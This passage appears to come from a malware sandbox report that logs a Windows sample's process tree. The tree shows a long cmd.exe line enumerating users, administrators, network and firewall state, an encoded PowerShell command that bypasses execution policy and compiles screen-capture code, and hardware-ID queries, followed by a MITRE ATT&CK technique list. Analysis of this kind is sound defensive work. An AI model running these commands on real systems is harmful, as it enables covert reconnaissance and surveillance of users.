        C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
        5⤵
        Network Service Discovery
        
        PID:6936
      - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        6⤵
        Gathers system information
        
        PID:5520
      - C:\Windows\system32\HOSTNAME.EXE
        
        hostname
        6⤵
        
        PID:2840
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic logicaldisk get caption,description,providername
        6⤵
        Collects information from the system
        
        PID:6372
      - C:\Windows\system32\net.exe
        
        net user
        6⤵
        
        PID:1708
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        7⤵
        
        PID:520
      - C:\Windows\system32\query.exe
        
        query user
        6⤵
        
        PID:7480
        
        C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        7⤵
        
        PID:5696
      - C:\Windows\system32\net.exe
        
        net localgroup
        6⤵
        
        PID:6800
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        7⤵
        
        PID:6340
      - C:\Windows\system32\net.exe
        
        net localgroup administrators
        6⤵
        
        PID:2136
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        7⤵
        
        PID:5752
      - C:\Windows\system32\net.exe
        
        net user guest
        6⤵
        
        PID:116
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        7⤵
        
        PID:6040
      - C:\Windows\system32\net.exe
        
        net user administrator
        6⤵
        
        PID:6412
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        7⤵
        
        PID:2988
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic startup get caption,command
        6⤵
        
        PID:6988
      - C:\Windows\system32\tasklist.exe
        
        tasklist /svc
        6⤵
        Enumerates processes with tasklist
        
        PID:7072
      - C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        6⤵
        Gathers network information
        
        PID:2948
      - C:\Windows\system32\ROUTE.EXE
        
        route print
        6⤵
        
        PID:1848
      - C:\Windows\system32\ARP.EXE
        
        arp -a
        6⤵
        Network Service Discovery
        
        PID:4956
      - C:\Windows\system32\NETSTAT.EXE
        
        netstat -ano
        6⤵
        System Network Connections Discovery
        Gathers network information
        
        PID:1724
      - C:\Windows\system32\sc.exe
        
        sc query type= service state= all
        6⤵
        Launches sc.exe
        
        PID:6172
      - C:\Windows\system32\netsh.exe
        
        netsh firewall show state
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1080
      - C:\Windows\system32\netsh.exe
        
        netsh firewall show config
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4068
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:7144
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        
        PID:6164
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        5⤵
        
        PID:8016
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        6⤵
        
        PID:3332
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0xoqj035\0xoqj035.cmdline"
        7⤵
        
        PID:4012
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES103C.tmp" "c:\Users\Admin\AppData\Local\Temp\0xoqj035\CSC644CB565BE7A433483C4E53B311C2C.TMP"
        8⤵
        
        PID:3540
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:6668
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        
        PID:4212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:384

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:5328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

System Information Discovery